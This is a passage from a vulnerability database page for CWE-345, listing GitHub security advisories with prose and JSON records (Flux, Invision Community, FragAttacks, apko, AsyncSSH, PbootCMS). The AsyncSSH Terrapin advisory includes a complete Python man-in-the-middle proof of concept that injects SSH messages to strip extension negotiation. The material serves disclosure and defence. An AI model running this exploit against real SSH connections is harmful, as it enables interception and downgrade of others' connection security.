Common Weakness Enumeration

CWE-345

Discouraged

Insufficient Verification of Data Authenticity

Abstraction: Class · Status: Draft

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

944 vulnerabilities reference this CWE, most recent first.

GHSA-H9CX-XJG6-5V2W

Vulnerability from github – Published: 2026-04-10 20:18 – Updated: 2026-04-10 20:18
VLAI
Summary
Flux notification-controller GCR Receiver missing email validation allows unauthorized reconciliation triggering
Details

Impact

The gcr Receiver type in Flux notification-controller does not validate the email claim of Google OIDC tokens used for Pub/Sub push authentication. This allows any valid Google-issued token, to authenticate against the Receiver webhook endpoint, triggering unauthorized Flux reconciliations.

Exploitation requires the attacker to know the Receiver's webhook URL. The webhook path is generated as /hook/sha256sum(token+name+namespace), where the token is a random string stored in a Kubernetes Secret. There is no API or endpoint that enumerates webhook URLs. An attacker cannot discover the path without either having access to the cluster and permissions to read the Receiver's .status.webhookPath in the target namespace, or obtaining the URL through other means (e.g. leaked secrets or access to Pub/Sub config).

Upon successful authentication, the controller triggers a reconciliation for all resources listed in the Receiver's .spec.resources. However, the practical impact is limited: Flux reconciliation is idempotent, so if the desired state in the configured sources (Git, OCI, Helm) has not changed, the reconciliation results in a no-op with no effect on cluster state. Additionally, Flux controllers deduplicate reconciliation requests, sending many requests in a short period results in only a single reconciliation being processed.

Patches

The fix in notification-controller v1.8.3 refactors the GCR Receiver authentication to allow users to extend the verification to email and audience claims in the JWT. This enables operators to configure their Receiver's secret with the expected GCP Service Account email and audience, which the controller will validate against the token's claims before accepting the request.

Email validation example:

apiVersion: v1
kind: Secret
metadata:
  name: gcr-webhook-token
  namespace: apps
type: Opaque
stringData:
  token: <random token>
  email: <service-account>@<project>.iam.gserviceaccount.com
  audience: https://<hostname>/hook/<sha256(token+name+namespace)>

For more information, please see the GCR Receiver documentation: https://fluxcd.io/flux/components/notification/receivers/#gcr

Credits

Thanks to Saroj Khadka for reporting this issue to the Flux Security Team.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/fluxcd/notification-controller"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40109"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T20:18:16Z",
    "nvd_published_at": "2026-04-09T21:16:12Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\nThe `gcr` Receiver type in Flux notification-controller does not validate the `email` claim of Google OIDC tokens used for Pub/Sub push authentication. This allows any valid Google-issued token, to authenticate against the Receiver webhook endpoint, triggering unauthorized Flux reconciliations.\n\nExploitation requires the attacker to know the Receiver\u0027s webhook URL. The webhook path is generated as `/hook/sha256sum(token+name+namespace)`, where the token is a random string stored in a Kubernetes Secret. There is no API or endpoint that enumerates webhook URLs. An attacker cannot discover the path without either having access to the cluster and permissions to read the Receiver\u0027s `.status.webhookPath` in the target namespace, or obtaining the URL through other means (e.g. leaked secrets or access to Pub/Sub config).\n\nUpon successful authentication, the controller triggers a reconciliation for all resources listed in the Receiver\u0027s `.spec.resources`. However, the practical impact is limited: Flux reconciliation is idempotent, so if the desired state in the configured sources (Git, OCI, Helm) has not changed, the reconciliation results in a no-op with no effect on cluster state. Additionally, Flux controllers deduplicate reconciliation requests, sending many requests in a short period results in only a single reconciliation being processed.\n\n### Patches\n\nThe fix in notification-controller v1.8.3 refactors the GCR Receiver authentication to allow users to extend the verification to `email` and `audience` claims in the JWT. This enables operators to configure their Receiver\u0027s secret with the expected GCP Service Account email and audience, which the controller will validate against the token\u0027s claims before accepting the request.\n\nEmail validation example:\n\n```yaml\napiVersion: v1\nkind: Secret\nmetadata:\n  name: gcr-webhook-token\n  namespace: apps\ntype: Opaque\nstringData:\n  token: \u003crandom token\u003e\n  email: \u003cservice-account\u003e@\u003cproject\u003e.iam.gserviceaccount.com\n  audience: https://\u003chostname\u003e/hook/\u003csha256(token+name+namespace)\u003e\n```\n\nFor more information, please see the GCR Receiver documentation: https://fluxcd.io/flux/components/notification/receivers/#gcr\n\n\n### Credits\n\nThanks to Saroj Khadka for reporting this issue to the Flux Security Team.",
  "id": "GHSA-h9cx-xjg6-5v2w",
  "modified": "2026-04-10T20:18:16Z",
  "published": "2026-04-10T20:18:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fluxcd/notification-controller/security/advisories/GHSA-h9cx-xjg6-5v2w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40109"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fluxcd/notification-controller/pull/1279"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fluxcd/notification-controller"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fluxcd/notification-controller/releases/tag/v1.8.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flux notification-controller GCR Receiver missing email validation allows unauthorized reconciliation triggering"
}

GHSA-H9R7-CJMF-JRCG

Vulnerability from github – Published: 2025-06-26 21:31 – Updated: 2025-06-26 21:31
VLAI
Details

Pioneer DMH-WT7600NEX Root Filesystem Insufficient Verification of Data Authenticity Vulnerability. This vulnerability allows physically present attackers to bypass authentication on affected installations of Pioneer DMH-WT7600NEX devices. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the configuration of the operating system. The issue results from the lack of properly configured protection for the root file system. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-26077.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-5833"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-25T18:15:24Z",
    "severity": "MODERATE"
  },
  "details": "Pioneer DMH-WT7600NEX Root Filesystem Insufficient Verification of Data Authenticity Vulnerability. This vulnerability allows physically present attackers to bypass authentication on affected installations of Pioneer DMH-WT7600NEX devices. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the configuration of the operating system. The issue results from the lack of properly configured protection for the root file system. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-26077.",
  "id": "GHSA-h9r7-cjmf-jrcg",
  "modified": "2025-06-26T21:31:13Z",
  "published": "2025-06-26T21:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5833"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-350"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HCCJ-9V6G-QXJV

Vulnerability from github – Published: 2024-06-07 18:30 – Updated: 2024-07-03 18:44
VLAI
Details

Invision Community through 4.7.16 allows remote code execution via the applications/core/modules/admin/editor/toolbar.php IPS\core\modules\admin\editor_toolbar::addPlugin() method. This method handles uploaded ZIP files that are extracted into the applications/core/interface/ckeditor/ckeditor/plugins/ directory without properly verifying their content. This can be exploited by admin users (with the toolbar_manage permission) to write arbitrary PHP files into that directory, leading to execution of arbitrary PHP code in the context of the web server user.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-30162"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-07T17:15:50Z",
    "severity": "HIGH"
  },
  "details": "Invision Community through 4.7.16 allows remote code execution via the applications/core/modules/admin/editor/toolbar.php IPS\\core\\modules\\admin\\editor\\_toolbar::addPlugin() method. This method handles uploaded ZIP files that are extracted into the applications/core/interface/ckeditor/ckeditor/plugins/ directory without properly verifying their content. This can be exploited by admin users (with the toolbar_manage permission) to write arbitrary PHP files into that directory, leading to execution of arbitrary PHP code in the context of the web server user.",
  "id": "GHSA-hccj-9v6g-qxjv",
  "modified": "2024-07-03T18:44:19Z",
  "published": "2024-06-07T18:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30162"
    },
    {
      "type": "WEB",
      "url": "https://invisioncommunity.com"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Apr/21"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HCHJ-55PX-FGW7

Vulnerability from github – Published: 2025-05-21 21:31 – Updated: 2025-11-03 18:31
VLAI
Details

IEEE P802.11-REVme D1.1 through D7.0 allows FragAttacks against mesh networks. In mesh networks using Wi-Fi Protected Access (WPA, WPA2, or WPA3) or Wired Equivalent Privacy (WEP), an adversary can exploit this vulnerability to inject arbitrary frames towards devices that support receiving non-SSP A-MSDU frames. NOTE: this issue exists because of an incorrect fix for CVE-2020-24588. P802.11-REVme, as of early 2025, is a planned release of the 802.11 standard.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-27558"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-21T19:16:08Z",
    "severity": "CRITICAL"
  },
  "details": "IEEE P802.11-REVme D1.1 through D7.0 allows FragAttacks against mesh networks. In mesh networks using Wi-Fi Protected Access (WPA, WPA2, or WPA3) or Wired Equivalent Privacy (WEP), an adversary can exploit this vulnerability to inject arbitrary frames towards devices that support receiving non-SSP A-MSDU frames. NOTE: this issue exists because of an incorrect fix for CVE-2020-24588. P802.11-REVme, as of early 2025, is a planned release of the 802.11 standard.",
  "id": "GHSA-hchj-55px-fgw7",
  "modified": "2025-11-03T18:31:17Z",
  "published": "2025-05-21T21:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27558"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vanhoefm/fragattacks-survey-public/blob/main/README.md"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00008.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HCWR-PQ9G-RQ3M

Vulnerability from github – Published: 2026-05-04 21:27 – Updated: 2026-05-13 13:42
VLAI
Summary
apko doesn't verify downloaded apk packages against APKINDEX checksum (package substitution possible)
Details

apko verifies the signature on APKINDEX.tar.gz but never compares individually downloaded .apk packages against the checksum recorded in the signed index. The checksum is parsed and available via ChecksumString(), and the downloaded package control hash is computed, but the two values are never compared in getPackageImpl(). Mismatched packages are silently accepted. An attacker who can substitute download responses (compromised mirror, HTTP repository, poisoned CDN cache) can install arbitrary packages into built images.

Fix: No fix available yet.

Acknowledgements

apko thanks Oleh Konko from 1seal for discovering and reporting this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "chainguard.dev/apko"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42575"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-494"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T21:27:17Z",
    "nvd_published_at": "2026-05-09T20:16:29Z",
    "severity": "HIGH"
  },
  "details": "apko verifies the signature on `APKINDEX.tar.gz` but never compares individually downloaded `.apk` packages against the checksum recorded in the signed index. The checksum is parsed and available via `ChecksumString()`, and the downloaded package control hash is computed, but the two values are never compared in `getPackageImpl()`. Mismatched packages are silently accepted. An attacker who can substitute download responses (compromised mirror, HTTP repository, poisoned CDN cache) can install arbitrary packages into built images.\n\n**Fix:** No fix available yet.\n\n**Acknowledgements**\n\napko thanks Oleh Konko from [1seal](https://1seal.org/) for discovering and reporting this issue.",
  "id": "GHSA-hcwr-pq9g-rq3m",
  "modified": "2026-05-13T13:42:49Z",
  "published": "2026-05-04T21:27:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-dev/apko/security/advisories/GHSA-hcwr-pq9g-rq3m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42575"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-dev/apko/commit/a118c3d604107532b5525bd4bee2fb369a6228aa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/chainguard-dev/apko"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-dev/apko/releases/tag/v1.2.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "apko doesn\u0027t verify downloaded apk packages against APKINDEX checksum (package substitution possible)"
}

GHSA-HFMC-7525-MJ55

Vulnerability from github – Published: 2023-12-18 19:21 – Updated: 2023-12-19 17:22
VLAI
Summary
AsyncSSH vulnerable to Prefix Truncation Attack (a.k.a. Terrapin Attack) against ChaCha20-Poly1305 and Encrypt-then-MAC
Details

Summary

AsyncSSH v2.14.1 and earlier is vulnerable to a novel prefix truncation attack (a.k.a. Terrapin attack), which allows a man-in-the-middle attacker to strip an arbitrary number of messages right after the initial key exchange, breaking SSH extension negotiation (RFC8308) in the process and thus downgrading connection security.

Mitigations

To mitigate this protocol vulnerability, OpenSSH suggested a so-called "strict kex" which alters the SSH handshake to ensure a Man-in-the-Middle attacker cannot introduce unauthenticated messages as well as convey sequence number manipulation across handshakes. Support for strict key exchange has been added to AsyncSSH in the patched version.

Warning: To take effect, both the client and server must support this countermeasure.

As a stop-gap measure, peers may also (temporarily) disable the affected algorithms and use unaffected alternatives like AES-GCM instead until patches are available.

Details

The SSH specifications of ChaCha20-Poly1305 (chacha20-poly1305@openssh.com) and Encrypt-then-MAC (*-etm@openssh.com MACs) are vulnerable against an arbitrary prefix truncation attack (a.k.a. Terrapin attack). This allows for an extension negotiation downgrade by stripping the SSH_MSG_EXT_INFO sent after the first message after SSH_MSG_NEWKEYS, downgrading security, and disabling attack countermeasures in some versions of OpenSSH. When targeting Encrypt-then-MAC, this attack requires the use of a CBC cipher to be practically exploitable due to the internal workings of the cipher mode. Additionally, this novel attack technique can be used to exploit previously unexploitable implementation flaws in a Man-in-the-Middle scenario.

The attack works by an attacker injecting an arbitrary number of SSH_MSG_IGNORE messages during the initial key exchange and consequently removing the same number of messages just after the initial key exchange has concluded. This is possible due to missing authentication of the excess SSH_MSG_IGNORE messages and the fact that the implicit sequence numbers used within the SSH protocol are only checked after the initial key exchange.

In the case of ChaCha20-Poly1305, the attack is guaranteed to work on every connection as this cipher does not maintain an internal state other than the message's sequence number. In the case of Encrypt-Then-MAC, practical exploitation requires the use of a CBC cipher; while theoretical integrity is broken for all ciphers when using this mode, message processing will fail at the application layer for CTR and stream ciphers.

For more details and a pre-print of the associated research paper, see https://terrapin-attack.com. This website is not affiliated with AsyncSSH in any way.

PoC

Extension Negotiation Downgrade Attack (chacha20-poly1305@openssh.com) ```python #!/usr/bin/python3 import socket from binascii import unhexlify from threading import Thread from time import sleep ##################################################################################### ## Proof of Concept for the extension downgrade attack ## ## ## ## Variant: ChaCha20-Poly1305 ## ## ## ## Client(s) tested: OpenSSH 9.5p1 / PuTTY 0.79 ## ## Server(s) tested: OpenSSH 9.5p1 ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ##################################################################################### # IP and port for the TCP proxy to bind to PROXY_IP = '127.0.0.1' PROXY_PORT = 2222 # IP and port of the server SERVER_IP = '127.0.0.1' SERVER_PORT = 22 LENGTH_FIELD_LENGTH = 4 def pipe_socket_stream(in_socket, out_socket): try: while True: data = in_socket.recv(4096) if len(data) == 0: break out_socket.send(data) except ConnectionResetError: print("[!] Socket connection has been reset. Closing sockets.") except OSError: print("[!] Sockets closed by another thread. Terminating pipe_socket_stream thread.") in_socket.close() out_socket.close() rogue_msg_ignore = unhexlify('0000000C060200000000000000000000') def perform_attack(client_socket, server_socket): # Version exchange client_vex = client_socket.recv(255) server_vex = server_socket.recv(255) client_socket.send(server_vex) server_socket.send(client_vex) # SSH_MSG_KEXINIT client_kexinit = client_socket.recv(35000) server_kexinit = server_socket.recv(35000) client_socket.send(server_kexinit) server_socket.send(client_kexinit) # Client will now send the key exchange INIT client_kex_init = client_socket.recv(35000) server_socket.send(client_kex_init) # Insert ignore message (to client) client_socket.send(rogue_msg_ignore) # Wait half a second here to avoid missing EXT_INFO # Can be solved by counting bytes as well sleep(0.5) # KEX_REPLY / NEW_KEYS / EXT_INFO server_response = server_socket.recv(35000) # Strip EXT_INFO before forwarding server_response to client # Length fields of KEX_REPLY and NEW_KEYS are still unencrypted server_kex_reply_length = LENGTH_FIELD_LENGTH + int.from_bytes(server_response[:LENGTH_FIELD_LENGTH]) server_newkeys_start = server_kex_reply_length server_newkeys_length = LENGTH_FIELD_LENGTH + int.from_bytes(server_response[server_newkeys_start:server_newkeys_start + LENGTH_FIELD_LENGTH]) server_extinfo_start = server_newkeys_start + server_newkeys_length client_socket.send(server_response[:server_extinfo_start]) if __name__ == '__main__': print("--- Proof of Concept for extension downgrade attack (ChaCha20-Poly1305) ---") mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) mitm_socket.bind((PROXY_IP, PROXY_PORT)) mitm_socket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...") try: while True: client_socket, client_addr = mitm_socket.accept() print(f"[+] Accepted connection from: {client_addr}") print(f"[+] Establishing new target connection to {(SERVER_IP, SERVER_PORT)}.") server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.connect((SERVER_IP, SERVER_PORT)) print("[+] Performing extension downgrade") perform_attack(client_socket, server_socket) print("[+] Downgrade performed. Spawning new forwarding threads to handle client connection from now on.") forward_client_to_server_thread = Thread(target=pipe_socket_stream, args=(client_socket, server_socket), daemon=True) forward_client_to_server_thread.start() forward_server_to_client_thread = Thread(target=pipe_socket_stream, args=(server_socket, client_socket), daemon=True) forward_server_to_client_thread.start() except KeyboardInterrupt: client_socket.close() server_socket.close() mitm_socket.close() ```

Impact

This attack targets the specification of ChaCha20-Poly1305 (chacha20-poly1305@openssh.com) and Encrypt-then-MAC (*-etm@openssh.com), which are widely adopted by well-known SSH implementations and can be considered de-facto standard. These algorithms can be practically exploited; however, in the case of Encrypt-Then-MAC, we additionally require the use of a CBC cipher. As a consequence, this attack works against all well-behaving SSH implementations supporting either of those algorithms and can be used to downgrade (but not fully strip) connection security in case SSH extension negotiation (RFC8308) is supported. The attack may also enable attackers to exploit certain implementation flaws in a man-in-the-middle (MitM) scenario.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.14.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "asyncssh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-18T19:21:45Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAsyncSSH v2.14.1 and earlier is vulnerable to a novel prefix truncation attack (a.k.a. Terrapin attack), which allows a man-in-the-middle attacker to strip an arbitrary number of messages right after the initial key exchange, breaking SSH extension negotiation (RFC8308) in the process and thus downgrading connection security.\n\n### Mitigations\n\nTo mitigate this protocol vulnerability, OpenSSH suggested a so-called \"strict kex\" which alters the SSH handshake to ensure a Man-in-the-Middle attacker cannot introduce unauthenticated messages as well as convey sequence number manipulation across handshakes. Support for strict key exchange has been added to AsyncSSH in the patched version. \n\n**Warning: To take effect, both the client and server must support this countermeasure.** \n\nAs a stop-gap measure, peers may also (temporarily) disable the affected algorithms and use unaffected alternatives like AES-GCM instead until patches are available.\n\n### Details\n\nThe SSH specifications of ChaCha20-Poly1305 (`chacha20-poly1305@openssh.com`) and Encrypt-then-MAC (`*-etm@openssh.com` MACs) are vulnerable against an arbitrary prefix truncation attack (a.k.a. Terrapin attack). This allows for an extension negotiation downgrade by stripping the SSH_MSG_EXT_INFO sent after the first message after SSH_MSG_NEWKEYS, downgrading security, and disabling attack countermeasures in some versions of OpenSSH. When targeting Encrypt-then-MAC, this attack requires the use of a CBC cipher to be practically exploitable due to the internal workings of the cipher mode. Additionally, this novel attack technique can be used to exploit previously unexploitable implementation flaws in a Man-in-the-Middle scenario.\n\nThe attack works by an attacker injecting an arbitrary number of SSH_MSG_IGNORE messages during the initial key exchange and consequently removing the same number of messages just after the initial key exchange has concluded. This is possible due to missing authentication of the excess SSH_MSG_IGNORE messages and the fact that the implicit sequence numbers used within the SSH protocol are only checked after the initial key exchange.\n\nIn the case of ChaCha20-Poly1305, the attack is guaranteed to work on every connection as this cipher does not maintain an internal state other than the message\u0027s sequence number. In the case of Encrypt-Then-MAC, practical exploitation requires the use of a CBC cipher; while theoretical integrity is broken for all ciphers when using this mode, message processing will fail at the application layer for CTR and stream ciphers.\n\nFor more details and a pre-print of the associated research paper, see [https://terrapin-attack.com](https://terrapin-attack.com). This website is not affiliated with AsyncSSH in any way.\n\n### PoC\n\n\u003cdetails\u003e\n  \u003csummary\u003eExtension Negotiation Downgrade Attack (chacha20-poly1305@openssh.com)\u003c/summary\u003e\n  \n  ```python\n#!/usr/bin/python3\nimport socket\nfrom binascii import unhexlify\nfrom threading import Thread\nfrom time import sleep\n\n#####################################################################################\n## Proof of Concept for the extension downgrade attack                             ##\n##                                                                                 ##\n## Variant: ChaCha20-Poly1305                                                      ##\n##                                                                                 ##\n## Client(s) tested: OpenSSH 9.5p1 / PuTTY 0.79                                    ##\n## Server(s) tested: OpenSSH 9.5p1                                                 ##\n##                                                                                 ##\n## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##\n#####################################################################################\n\n# IP and port for the TCP proxy to bind to\nPROXY_IP = \u0027127.0.0.1\u0027\nPROXY_PORT = 2222\n\n# IP and port of the server\nSERVER_IP = \u0027127.0.0.1\u0027\nSERVER_PORT = 22\n\nLENGTH_FIELD_LENGTH = 4\n\ndef pipe_socket_stream(in_socket, out_socket):\n    try:\n        while True:\n            data = in_socket.recv(4096)\n            if len(data) == 0:\n                break\n            out_socket.send(data)\n    except ConnectionResetError:\n        print(\"[!] Socket connection has been reset. Closing sockets.\")\n    except OSError:\n        print(\"[!] Sockets closed by another thread. Terminating pipe_socket_stream thread.\")\n    in_socket.close()\n    out_socket.close()\n\nrogue_msg_ignore = unhexlify(\u00270000000C060200000000000000000000\u0027)\ndef perform_attack(client_socket, server_socket):\n    # Version exchange\n    client_vex = client_socket.recv(255)\n    server_vex = server_socket.recv(255)\n    client_socket.send(server_vex)\n    server_socket.send(client_vex)\n    # SSH_MSG_KEXINIT\n    client_kexinit = client_socket.recv(35000)\n    server_kexinit = server_socket.recv(35000)\n    client_socket.send(server_kexinit)\n    server_socket.send(client_kexinit)\n    # Client will now send the key exchange INIT\n    client_kex_init = client_socket.recv(35000)\n    server_socket.send(client_kex_init)\n    # Insert ignore message (to client)\n    client_socket.send(rogue_msg_ignore)\n    # Wait half a second here to avoid missing EXT_INFO\n    # Can be solved by counting bytes as well\n    sleep(0.5)\n    # KEX_REPLY / NEW_KEYS / EXT_INFO\n    server_response = server_socket.recv(35000)\n    # Strip EXT_INFO before forwarding server_response to client\n    # Length fields of KEX_REPLY and NEW_KEYS are still unencrypted\n    server_kex_reply_length = LENGTH_FIELD_LENGTH + int.from_bytes(server_response[:LENGTH_FIELD_LENGTH])\n    server_newkeys_start = server_kex_reply_length\n    server_newkeys_length = LENGTH_FIELD_LENGTH + int.from_bytes(server_response[server_newkeys_start:server_newkeys_start + LENGTH_FIELD_LENGTH])\n    server_extinfo_start = server_newkeys_start + server_newkeys_length\n    client_socket.send(server_response[:server_extinfo_start])\n\nif __name__ == \u0027__main__\u0027:\n    print(\"--- Proof of Concept for extension downgrade attack (ChaCha20-Poly1305) ---\")\n    mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    mitm_socket.bind((PROXY_IP, PROXY_PORT))\n    mitm_socket.listen(5)\n\n    print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n    try:\n        while True:\n            client_socket, client_addr = mitm_socket.accept()\n            print(f\"[+] Accepted connection from: {client_addr}\")\n            print(f\"[+] Establishing new target connection to {(SERVER_IP, SERVER_PORT)}.\")\n            server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            server_socket.connect((SERVER_IP, SERVER_PORT))\n            print(\"[+] Performing extension downgrade\")\n            perform_attack(client_socket, server_socket)\n            print(\"[+] Downgrade performed. Spawning new forwarding threads to handle client connection from now on.\")\n            forward_client_to_server_thread = Thread(target=pipe_socket_stream, args=(client_socket, server_socket), daemon=True)\n            forward_client_to_server_thread.start()\n            forward_server_to_client_thread = Thread(target=pipe_socket_stream, args=(server_socket, client_socket), daemon=True)\n            forward_server_to_client_thread.start()\n    except KeyboardInterrupt:\n        client_socket.close()\n        server_socket.close()\n        mitm_socket.close()\n  ```\n\u003c/details\u003e\n\n### Impact\n\nThis attack targets the specification of ChaCha20-Poly1305 (`chacha20-poly1305@openssh.com`) and Encrypt-then-MAC (`*-etm@openssh.com`), which are widely adopted by well-known SSH implementations and can be considered de-facto standard. These algorithms can be practically exploited; however, in the case of Encrypt-Then-MAC, we additionally require the use of a CBC cipher. As a consequence, this attack works against all well-behaving SSH implementations supporting either of those algorithms and can be used to downgrade (but not fully strip) connection security in case SSH extension negotiation (RFC8308) is supported. The attack may also enable attackers to exploit certain implementation flaws in a man-in-the-middle (MitM) scenario.",
  "id": "GHSA-hfmc-7525-mj55",
  "modified": "2023-12-19T17:22:31Z",
  "published": "2023-12-18T19:21:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-hfmc-7525-mj55"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/commit/0bc73254f41acb140187e0c89606311f88de5b7b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/commit/69f5a41b458b29367a65fe469c2b0255b5db210a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ronf/asyncssh"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AsyncSSH vulnerable to Prefix Truncation Attack (a.k.a. Terrapin Attack) against ChaCha20-Poly1305 and Encrypt-then-MAC"
}

GHSA-HGCH-F8PJ-55CF

Vulnerability from github – Published: 2025-12-28 21:30 – Updated: 2025-12-28 21:30
VLAI
Details

A security vulnerability has been detected in PbootCMS up to 3.2.12. The affected element is the function get_user_ip of the file core/function/handle.php of the component Header Handler. The manipulation of the argument X-Forwarded-For leads to use of less trusted source. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-15154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-348"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-28T21:15:54Z",
    "severity": "MODERATE"
  },
  "details": "A security vulnerability has been detected in PbootCMS up to 3.2.12. The affected element is the function get_user_ip of the file core/function/handle.php of the component Header Handler. The manipulation of the argument X-Forwarded-For leads to use of less trusted source. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used.",
  "id": "GHSA-hgch-f8pj-55cf",
  "modified": "2025-12-28T21:30:25Z",
  "published": "2025-12-28T21:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15154"
    },
    {
      "type": "WEB",
      "url": "https://note-hxlab.wetolink.com/share/JyBNgF8JagWQ"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.338532"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.338532"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.719818"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HGCX-X66Q-2C6R

Vulnerability from github – Published: 2025-11-22 09:31 – Updated: 2025-11-22 09:31
